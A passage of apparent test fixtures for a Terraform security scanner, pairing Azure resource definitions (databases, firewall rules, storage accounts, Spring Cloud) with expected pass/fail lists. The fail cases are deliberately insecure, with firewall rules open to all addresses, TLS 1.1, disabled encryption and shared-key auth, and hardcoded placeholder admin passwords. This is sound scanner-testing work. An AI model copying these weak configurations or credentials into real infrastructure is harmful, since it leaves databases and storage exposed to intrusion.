\"dep-privservcon\"\n    private_connection_resource_id = azurerm_mssql_server.pass.id\n    subresource_names              = [\"sqlServer\"]\n    is_manual_connection           = false\n  }\n}\n\n\n# case 2: FAIL: azurerm_private_endpoint does not exist\n\nresource \"azurerm_mssql_server\" \"fail\" {\n  name                = \"fail_mssql_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  administrator_login          = \"pud\"\n  administrator_login_password = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n  storage_mb = 5120\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  auto_grow_enabled            = false\n\n  public_network_access_enabled    = false\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_2\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMariaDBserverConfigPrivEndpt/expected.yaml",
    "content": "pass:\n  - \"azurerm_mariadb_server.pass\"\nfail:\n  - \"azurerm_mariadb_server.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMariaDBserverConfigPrivEndpt/main.tf",
    "content": "\nvariable \"resource_group_name\" {\n  default = \"pud_maria_rg\"\n}\n\nvariable \"location\" {\n  default = \"East US 2\"\n}\n\nvariable \"subnet_id\" {\n  default = \"pud-az-subnet\"\n}\n\n# case 1: PASS: azurerm_private_endpoint exists and is connected\n\nresource \"azurerm_mariadb_server\" \"pass\" {\n  name                = \"pass_mariadb_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  administrator_login          = \"pud\"\n  administrator_login_password = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n  storage_mb = 5120\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  auto_grow_enabled            = false\n\n  public_network_access_enabled    = false\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_2\"\n}\n\nresource \"azurerm_private_endpoint\" \"pass_priendpt\" {\n  name                = \"pass_priendpt\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n  subnet_id           = var.subnet_id\n\n  private_service_connection {\n    name                           = \"dep-privservcon\"\n    private_connection_resource_id = azurerm_mariadb_server.pass.id\n    subresource_names              = [\"mariadbServer\"]\n    is_manual_connection           = false\n  }\n}\n\n\n# case 2: FAIL: azurerm_private_endpoint does not exist\n\nresource \"azurerm_mariadb_server\" \"fail\" {\n  name                = \"fail_mariadb_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  administrator_login          = \"pud\"\n  administrator_login_password = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n  storage_mb = 5120\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  auto_grow_enabled            = false\n\n  public_network_access_enabled    = false\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_2\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMariaDBserverUsingTLS_1_2/expected.yaml",
    "content": "pass:\n  - \"azurerm_mariadb_server.pass_1\"\n  - \"azurerm_mariadb_server.pass_2\"\n\nfail:\n  - \"azurerm_mariadb_server.fail_1\"\n  - \"azurerm_mariadb_server.fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMariaDBserverUsingTLS_1_2/main.tf",
    "content": "\nresource \"azurerm_mariadb_server\" \"pass_1\" {\n  name                = \"pud-mariadb-server\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n\n  administrator_login          = \"dbadmin123\"\n  administrator_login_password = \"M@r!@D3\" # checkov:skip=CKV_SECRET_80 test secret\n\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_2\"\n}\n\n# This case passes as ssl_minimal_tls_version_enforced will default to TLS1_2\n\nresource \"azurerm_mariadb_server\" \"pass_2\" {\n  name                = \"pud-mariadb-server\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n\n  administrator_login          = \"dbadmin123\"\n  administrator_login_password = \"M@r!@D3\" # checkov:skip=CKV_SECRET_80 test secret\n\n  ssl_enforcement_enabled          = true\n\n}\n\nresource \"azurerm_mariadb_server\" \"fail_1\" {\n  name                = \"pud-mariadb-server\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n\n  administrator_login          = \"dbadmin123\"\n  administrator_login_password = \"M@r!@D3\" # checkov:skip=CKV_SECRET_80 test secret\n\n}\n\nresource \"azurerm_mariadb_server\" \"fail_2\" {\n  name                = \"pud-mariadb-server\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n\n  administrator_login          = \"dbadmin123\"\n  administrator_login_password = \"M@r!@D3\" # checkov:skip=CKV_SECRET_80 test secret\n\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_1\"\n\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMySQLFlexibleServerConfigPrivEndpt/expected.yaml",
    "content": "pass:\n  - \"azurerm_mysql_flexible_server.pass\"\nfail:\n  - \"azurerm_mysql_flexible_server.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMySQLFlexibleServerConfigPrivEndpt/main.tf",
    "content": "\nvariable \"resource_group_name\" {\n  default = \"pud_mysql_rg\"\n}\n\nvariable \"location\" {\n  default = \"East US 2\"\n}\n\nvariable \"subnet_id\" {\n  default = \"pud-az-subnet\"\n}\n\n# case 1: PASS: azurerm_private_endpoint exists and is connected\n\nresource \"azurerm_mysql_flexible_server\" \"pass\" {\n  name                = \"pass_mysql_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n\n  public_network_access_enabled    = false\n}\n\nresource \"azurerm_private_endpoint\" \"pass\" {\n  name                = \"pass_priendpt\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n  subnet_id           = var.subnet_id\n\n  private_service_connection {\n    name                           = \"dep-privservcon\"\n    private_connection_resource_id = azurerm_mysql_flexible_server.pass.id\n    subresource_names              = [\"foo\"]\n    is_manual_connection           = false\n  }\n}\n\n\n# case 2: FAIL: azurerm_private_endpoint does not exist\n\nresource \"azurerm_mysql_flexible_server\" \"fail\" {\n  name                = \"fail_mysql_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  administrator_login          = \"pud\"\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n\n  public_network_access_enabled    = false\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMySQLserverConfigPrivEndpt/expected.yaml",
    "content": "pass:\n  - \"azurerm_mysql_server.pass\"\nfail:\n  - \"azurerm_mysql_server.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMySQLserverConfigPrivEndpt/main.tf",
    "content": "\nvariable \"resource_group_name\" {\n  default = \"pud_mysql_rg\"\n}\n\nvariable \"location\" {\n  default = \"East US 2\"\n}\n\nvariable \"subnet_id\" {\n  default = \"pud-az-subnet\"\n}\n\n# case 1: PASS: azurerm_private_endpoint exists and is connected\n\nresource \"azurerm_mysql_server\" \"pass\" {\n  name                = \"pass_mysql_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  administrator_login          = \"pud\"\n  administrator_login_password = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n  storage_mb = 5120\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  auto_grow_enabled            = false\n\n  public_network_access_enabled    = false\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_2\"\n}\n\nresource \"azurerm_private_endpoint\" \"pass_priendpt\" {\n  name                = \"pass_priendpt\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n  subnet_id           = var.subnet_id\n\n  private_service_connection {\n    name                           = \"dep-privservcon\"\n    private_connection_resource_id = azurerm_mysql_server.pass.id\n    subresource_names              = [\"mysqlServer\"]\n    is_manual_connection           = false\n  }\n}\n\n\n# case 2: FAIL: azurerm_private_endpoint does not exist\n\nresource \"azurerm_mysql_server\" \"fail\" {\n  name                = \"fail_mysql_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  administrator_login          = \"pud\"\n  administrator_login_password = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n  storage_mb = 5120\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  auto_grow_enabled            = false\n\n  public_network_access_enabled    = false\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_2\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureNetworkInterfacePublicIPAddressId/expected.yaml",
    "content": "pass:\n  - \"azurerm_network_interface.good\"\nfail:\n  - \"azurerm_network_interface.bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureNetworkInterfacePublicIPAddressId/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_virtual_network\" \"example\" {\n  name                = \"example-network\"\n  address_space       = [\"10.0.0.0/16\"]\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n}\n\nresource \"azurerm_subnet\" \"example\" {\n  name                 = \"internal\"\n  resource_group_name  = azurerm_resource_group.example.name\n  virtual_network_name = azurerm_virtual_network.example.name\n  address_prefixes     = [\"10.0.2.0/24\"]\n}\n\nresource \"azurerm_network_interface\" \"good\" {\n  name                = \"good-nic\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  ip_configuration {\n    name                          = \"internal\"\n    subnet_id                     = azurerm_subnet.example.id\n    private_ip_address_allocation = \"Dynamic\"\n  }\n}\n\n\nresource \"azurerm_network_interface\" \"bad\" {\n  name                = \"bad-nic\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  ip_configuration {\n    name                          = \"internal\"\n    subnet_id                     = azurerm_subnet.example.id\n    private_ip_address_allocation = \"Dynamic\"\n    public_ip_address_id          = azurerm_public_ip.bad.id\n  }\n}\n\nresource \"azurerm_public_ip\" \"bad\" {\n  name                = \"bad\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  allocation_method   = \"Static\"\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzurePostgreSQLFlexServerNotOverlyPermissive/expected.yaml",
    "content": "pass:\n  - \"azurerm_postgresql_flexible_server_firewall_rule.pass\"\nfail:\n  - \"azurerm_postgresql_flexible_server_firewall_rule.fail_1\"\n  - \"azurerm_postgresql_flexible_server_firewall_rule.fail_2\"\n  - \"azurerm_postgresql_flexible_server_firewall_rule.fail_3\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzurePostgreSQLFlexServerNotOverlyPermissive/main.tf",
    "content": "#PASS case:\nresource \"azurerm_postgresql_flexible_server_firewall_rule\" \"pass\" {\n  name             = \"prx-policy-auto\"\n  server_id        = azurerm_postgresql_flexible_server.prxpolicyauto.id\n  start_ip_address = \"10.0.0.0\"\n  end_ip_address   = \"10.0.0.8\"\n}\n\n#FAIL case 1:\nresource \"azurerm_postgresql_flexible_server_firewall_rule\" \"fail_1\" {\n  name             = \"frwl-1\"\n  server_id        = azurerm_postgresql_flexible_server.frwl-1.id\n  start_ip_address = \"0.0.0.0\"\n  end_ip_address   = \"255.255.255.255\"\n}\n\n#FAIL case 2:\nresource \"azurerm_postgresql_flexible_server_firewall_rule\" \"fail_2\" {\n  name             = \"frwl-2\"\n  server_id        = azurerm_postgresql_flexible_server.frwl-2.id\n  start_ip_address = \"0.0.0.0\"\n  end_ip_address   = \"192.168.10.0\"\n}\n\n#FAIL case 3: \nresource \"azurerm_postgresql_flexible_server_firewall_rule\" \"fail_3\" {\n  name             = \"frwl-3\"\n  server_id        = azurerm_postgresql_flexible_server.frwl-3.id\n  start_ip_address = \"10.0.0.0\"\n  end_ip_address   = \"255.255.255.255\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzurePostgreSQLFlexibleServerConfigPrivEndpt/expected.yaml",
    "content": "pass:\n  - \"azurerm_postgresql_flexible_server.pass\"\nfail:\n  - \"azurerm_postgresql_flexible_server.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzurePostgreSQLFlexibleServerConfigPrivEndpt/main.tf",
    "content": "\nvariable \"resource_group_name\" {\n  default = \"pud_pgres_rg\"\n}\n\nvariable \"location\" {\n  default = \"East US 2\"\n}\n\nvariable \"subnet_id\" {\n  default = \"pud-az-subnet\"\n}\n\n# case 1: PASS: azurerm_private_endpoint exists and is connected\n\nresource \"azurerm_postgresql_flexible_server\" \"pass\" {\n  name                = \"pass_pgres_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  administrator_login          = \"pud\"\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n  storage_mb = 5120\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  auto_grow_enabled            = false\n\n  public_network_access_enabled    = false\n}\n\nresource \"azurerm_private_endpoint\" \"pass\" {\n  name                = \"pass_priendpt\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n  subnet_id           = var.subnet_id\n\n  private_service_connection {\n    name                           = \"dep-privservcon\"\n    private_connection_resource_id = azurerm_postgresql_flexible_server.pass.id\n    subresource_names              = [\"postgresqlServer\"]\n    is_manual_connection           = false\n  }\n}\n\n\n# case 2: FAIL: azurerm_private_endpoint does not exist\n\nresource \"azurerm_postgresql_flexible_server\" \"fail\" {\n  name                = \"fail_pgres_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  administrator_login          = \"pud\"\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n  storage_mb = 5120\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  auto_grow_enabled            = false\n\n  public_network_access_enabled    = false\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzurePostgreSQLserverConfigPrivEndpt/expected.yaml",
    "content": "pass:\n  - \"azurerm_postgresql_server.pass\"\nfail:\n  - \"azurerm_postgresql_server.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzurePostgreSQLserverConfigPrivEndpt/main.tf",
    "content": "\nvariable \"resource_group_name\" {\n  default = \"pud_pgres_rg\"\n}\n\nvariable \"location\" {\n  default = \"East US 2\"\n}\n\nvariable \"subnet_id\" {\n  default = \"pud-az-subnet\"\n}\n\n# case 1: PASS: azurerm_private_endpoint exists and is connected\n\nresource \"azurerm_postgresql_server\" \"pass\" {\n  name                = \"pass_pgres_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  administrator_login          = \"pud\"\n  administrator_login_password = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n  storage_mb = 5120\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  auto_grow_enabled            = false\n\n  public_network_access_enabled    = false\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_2\"\n}\n\nresource \"azurerm_private_endpoint\" \"pass_priendpt\" {\n  name                = \"pass_priendpt\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n  subnet_id           = var.subnet_id\n\n  private_service_connection {\n    name                           = \"dep-privservcon\"\n    private_connection_resource_id = azurerm_postgresql_server.pass.id\n    subresource_names              = [\"postgresqlServer\"]\n    is_manual_connection           = false\n  }\n}\n\n\n# case 2: FAIL: azurerm_private_endpoint does not exist\n\nresource \"azurerm_postgresql_server\" \"fail\" {\n  name                = \"fail_pgres_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  administrator_login          = \"pud\"\n  administrator_login_password = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n  storage_mb = 5120\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  auto_grow_enabled            = false\n\n  public_network_access_enabled    = false\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_2\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureRecoveryServicesvaultConfigManagedIdentity/expected.yaml",
    "content": "pass:\n  - \"azurerm_recovery_services_vault.pass\"\n\nfail:\n  - \"azurerm_recovery_services_vault.fail_1\"\n  - \"azurerm_recovery_services_vault.fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureRecoveryServicesvaultConfigManagedIdentity/main.tf",
    "content": "resource \"azurerm_recovery_services_vault\" \"pass\" {\n  name                = \"pud-recovery-vault\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  sku                 = \"Standard\"\n  identity {\n    type = \"SystemAssigned, UserAssigned\"\n  }\n\n}\n\nresource \"azurerm_recovery_services_vault\" \"fail_1\" {\n  name                = \"pud-recovery-vault\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  sku                 = \"Standard\"\n\n}\n\n\nresource \"azurerm_recovery_services_vault\" \"fail_2\" {\n  name                = \"pud-recovery-vault\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  sku                 = \"Standard\"\n  identity {\n    type = \" \"\n  }\n\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSQLserverNotOverlyPermissive/expected.yaml",
    "content": "pass:\n  - \"azurerm_sql_firewall_rule.pass_1\"\n  - \"azurerm_sql_firewall_rule.pass_2\"\n  - \"azurerm_mssql_firewall_rule.pass_2\"\n\nfail:\n  - \"azurerm_sql_firewall_rule.fail\"\n  - \"azurerm_mssql_firewall_rule.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSQLserverNotOverlyPermissive/main.tf",
    "content": "# PASS case 1: start_ip_address and end_ip_address is NOT equals to 0.0.0.0\n\nresource \"azurerm_sql_firewall_rule\" \"pass_1\" {\n  name                = \"pud_AZ_SQL_FW\"\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  server_name         = azurerm_sql_server.pud_sql_server.name\n  start_ip_address    = \"10.0.0.0\"\n  end_ip_address      = \"20.0.0.0\"\n}\n\n# PASS case 2: start_ip_address is NOT equals to 0.0.0.0\n\nresource \"azurerm_sql_firewall_rule\" \"pass_2\" {\n  name                = \"pud_AZ_SQL_FW\"\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  server_name         = azurerm_sql_server.pud_fail_server.name\n  start_ip_address    = \"10.0.0.0\"\n  end_ip_address      = \"0.0.0.0\"\n}\n\nresource \"azurerm_mssql_firewall_rule\" \"pass_2\" {\n  name                = \"pud_AZ_SQL_FW\"\n  start_ip_address    = \"10.0.0.0\"\n  end_ip_address      = \"0.0.0.0\"\n}\n\n# FAIL case: start_ip_address and end_ip_address equals to 0.0.0.0\n\n\nresource \"azurerm_sql_firewall_rule\" \"fail\" {\n  name                = \"pud_AZ_SQL_FW\"\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  server_name         = azurerm_sql_server.pud_fail_server.name\n  start_ip_address    = \"0.0.0.0\"\n  end_ip_address      = \"0.0.0.0\"\n}\n\nresource \"azurerm_mssql_firewall_rule\" \"fail\" {\n  name                = \"pud_AZ_SQL_FW\"\n  start_ip_address    = \"0.0.0.0\"\n  end_ip_address      = \"0.0.0.0\"\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSpringCloudConfigWithVnet/expected.yaml",
    "content": "pass:\n  - \"azurerm_spring_cloud_service.pass\"\nfail:\n  - \"azurerm_spring_cloud_service.fail_1\"\n  - \"azurerm_spring_cloud_service.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSpringCloudConfigWithVnet/main.tf",
    "content": "# PASS case: SKU not B0 and \"service_runtime_subnet_id\" exists\nresource \"azurerm_spring_cloud_service\" \"pass\" {\n  name                = var.sc_service_name \n  resource_group_name = var.resource_group_name\n  location            = var.location\n  sku_name            = \"S0\"\n  \n  network {\n    app_subnet_id                   = \"/subscriptions/${var.subscription}/resourceGroups/${var.azurespringcloudvnetrg}/providers/Microsoft.Network/virtualNetworks/${var.vnet_spoke_name}/subnets/${var.app_subnet_id}\"\n    service_runtime_subnet_id       = \"/subscriptions/${var.subscription}/resourceGroups/${var.azurespringcloudvnetrg}/providers/Microsoft.Network/virtualNetworks/${var.vnet_spoke_name}/subnets/${var.service_runtime_subnet_id}\"\n    cidr_ranges                     = var.sc_cidr\n  }\n  \n  timeouts {\n      create = \"60m\"\n      delete = \"2h\"\n  }\n\n  depends_on = [azurerm_resource_group.sc_corp_rg]\n  tags = var.tags\n  \n}\n\n# Fail case 1: If SKU = Basic tier\n\nresource \"azurerm_spring_cloud_service\" \"fail_1\" {\n  name                = var.sc_service_name \n  resource_group_name = var.resource_group_name\n  location            = var.location\n  sku_name            = \"B0\"\n  \n  network {\n    app_subnet_id                   = \"/subscriptions/${var.subscription}/resourceGroups/${var.azurespringcloudvnetrg}/providers/Microsoft.Network/virtualNetworks/${var.vnet_spoke_name}/subnets/${var.app_subnet_id}\"\n    service_runtime_subnet_id       = \"/subscriptions/${var.subscription}/resourceGroups/${var.azurespringcloudvnetrg}/providers/Microsoft.Network/virtualNetworks/${var.vnet_spoke_name}/subnets/${var.service_runtime_subnet_id}\"\n    cidr_ranges                     = var.sc_cidr\n  }\n  \n  timeouts {\n      create = \"60m\"\n      delete = \"2h\"\n  }\n\n  depends_on = [azurerm_resource_group.sc_corp_rg]\n  tags = var.tags\n  \n}\n\n#  FAIL case 2: \"service_runtime_subnet_id\" does not exist\n\nresource \"azurerm_spring_cloud_service\" \"fail_2\" {\n  name                = var.sc_service_name \n  resource_group_name = var.resource_group_name\n  location            = var.location\n  sku_name            = \"S0\"\n  \n  network {\n    app_subnet_id                   = \"/subscriptions/${var.subscription}/resourceGroups/${var.azurespringcloudvnetrg}/providers/Microsoft.Network/virtualNetworks/${var.vnet_spoke_name}/subnets/${var.app_subnet_id}\"\n    cidr_ranges                     = var.sc_cidr\n  }\n  \n  timeouts {\n      create = \"60m\"\n      delete = \"2h\"\n  }\n\n  depends_on = [azurerm_resource_group.sc_corp_rg]\n  tags = var.tags\n  \n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSpringCloudTLSDisabled/expected.yaml",
    "content": "pass:\n  - \"azurerm_spring_cloud_service.pass\"\n  - \"azurerm_spring_cloud_service.pass_basic\"\n  - \"azurerm_spring_cloud_service.pass_notset\"\nfail:\n  - \"azurerm_spring_cloud_service.fail_notset\"\n  - \"azurerm_spring_cloud_service.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSpringCloudTLSDisabled/main.tf",
    "content": "# Fail: SKU is not Basic and tls is disabled\nresource \"azurerm_spring_cloud_service\" \"fail\" {\n  name                = \"example-springcloud\"\n  resource_group_name = azurerm_resource_group.fail.name\n  location            = azurerm_resource_group.fail.location\n  sku_tier            = \"Standard\" # Computed, so unknown if not set\n}\n\nresource \"azurerm_spring_cloud_app\" \"fail\" {\n  name                = \"example-springcloudapp\"\n  resource_group_name = azurerm_resource_group.fail.name\n  service_name        = azurerm_spring_cloud_service.fail.name\n  tls_enabled         = false # defaults to false\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n# Pass: SKU is Basic and tls is disabled\nresource \"azurerm_spring_cloud_service\" \"pass_basic\" {\n  name                = \"example-springcloud\"\n  resource_group_name = azurerm_resource_group.pass_basic.name\n  location            = azurerm_resource_group.pass_basic.location\n  sku_tier            = \"Basic\" # Computed, so unknown if not set\n}\n\nresource \"azurerm_spring_cloud_app\" \"pass_basic\" {\n  name                = \"example-springcloudapp\"\n  resource_group_name = azurerm_resource_group.pass_basic.name\n  service_name        = azurerm_spring_cloud_service.pass_basic.name\n  tls_enabled         = false # defaults to false\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n# Pass: SKU is not set and tls is disabled\nresource \"azurerm_spring_cloud_service\" \"pass_notset\" {\n  name                = \"example-springcloud\"\n  resource_group_name = azurerm_resource_group.pass_notset.name\n  location            = azurerm_resource_group.pass_notset.location\n  sku_tier            = \"Basic\" # Computed, so unknown if not set\n}\n\nresource \"azurerm_spring_cloud_app\" \"unknown_notset\" {\n  name                = \"example-springcloudapp\"\n  resource_group_name = azurerm_resource_group.pass_notset.name\n  service_name        = azurerm_spring_cloud_service.pass_notset.name\n  tls_enabled         = false # defaults to false\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n# Fail: SKU is not Basic and tls is not set\nresource \"azurerm_spring_cloud_service\" \"fail_notset\" {\n  name                = \"example-springcloud\"\n  resource_group_name = azurerm_resource_group.fail_notset.name\n  location            = azurerm_resource_group.fail_notset.location\n  sku_tier            = \"Standard\" # Computed, so unknown if not set\n}\n\nresource \"azurerm_spring_cloud_app\" \"fail_notset\" {\n  name                = \"example-springcloudapp\"\n  resource_group_name = azurerm_resource_group.fail_notset.name\n  service_name        = azurerm_spring_cloud_service.fail_notset.name\n  # not setting tls_enabled defaults to false\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n# Pass: SKU is not Basic and tls is true\nresource \"azurerm_spring_cloud_service\" \"pass\" {\n  name                = \"example-springcloud\"\n  resource_group_name = azurerm_resource_group.pass.name\n  location            = azurerm_resource_group.pass.location\n  sku_tier            = \"Standard\" # Computed, so unknown if not set\n}\n\nresource \"azurerm_spring_cloud_app\" \"pass\" {\n  name                = \"example-springcloudapp\"\n  resource_group_name = azurerm_resource_group.pass.name\n  service_name        = azurerm_spring_cloud_service.pass.name\n  tls_enabled         = true # defaults to false\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSqlDbEnableTransparentDataEncryption/expected.yaml",
    "content": "pass:\n  - \"azurerm_mssql_database.pass_1\"\n  - \"azurerm_mssql_database.pass_2\"\n\nfail:\n  - \"azurerm_mssql_database.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureSqlDbEnableTransparentDataEncryption/main.tf",
    "content": "# FAIL case:   transparent_data_encryption_enabled = false\n\nresource \"azurerm_mssql_database\" \"fail\" {\n  name                                = \"vul-sqldb-1\"\n  server_id                           = azurerm_mssql_server.dev-sqlserv.id\n  transparent_data_encryption_enabled = false\n  sku_name                            = \"DW100c\"\n}\n\n# PASS case 1: transparent_data_encryption_enabled = true\n\nresource \"azurerm_mssql_database\" \"pass_1\" {\n  name                                = \"nvul-sqldb-2\"\n  server_id                           = azurerm_mssql_server.dev-sqlserv.id\n  transparent_data_encryption_enabled = true\n}\n\n# PASS case 2: Default is 'true'\n\nresource \"azurerm_mssql_database\" \"pass_2\" {\n  name      = \"nvul-sqldb-5\"\n  server_id = azurerm_mssql_server.dev-sqlserv.id\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureStorageAccConfigSharedKeyAuth/expected.yaml",
    "content": "pass:\n  - \"azurerm_storage_account.pass\"\nfail:\n  - \"azurerm_storage_account.fail_1\"\n  - \"azurerm_storage_account.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureStorageAccConfigSharedKeyAuth/main.tf",
    "content": "variable \"rg-name\" {\n  default = \"pud-bc-rg\"\n}\n\nvariable \"location\" {\n  default = \"northeurope\"\n}\n\n# Case 1: Pass: shared_access_key_enabled = False\n\nresource \"azurerm_storage_account\" \"pass\" {\n  name                     = \"pud-storage2023abc1\"\n  resource_group_name      = var.rg-name\n  location                 = var.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  shared_access_key_enabled = false\n\n  tags = {\n    bc_status = \"pass\"\n  }\n}\n\n# Case 2: Fail: shared_access_key_enabled does NOT exist\n\nresource \"azurerm_storage_account\" \"fail_1\" {\n  name                     = \"pud-storage2023abc2\"\n  resource_group_name      = var.rg-name\n  location                 = var.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n  tags = {\n    bc_status = \"fail_1\"\n  }\n}\n\n# Case 3: Fail: shared_access_key_enabled = True\n\nresource \"azurerm_storage_account\" \"fail_2\" {\n  name                     = \"pud-storage2023abc3\"\n  resource_group_name      = var.rg-name\n  location                 = var.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  shared_access_key_enabled = true\n\n\n  tags = {\n    bc_status = \"fail_2\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureStorageAccConfigWithPrivateEndpoint/expected.yaml",
    "content": "pass:\n  - \"azurerm_storage_account.pass\"\nfail:\n  - \"azurerm_storage_account.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureStorageAccConfigWithPrivateEndpoint/main.tf",
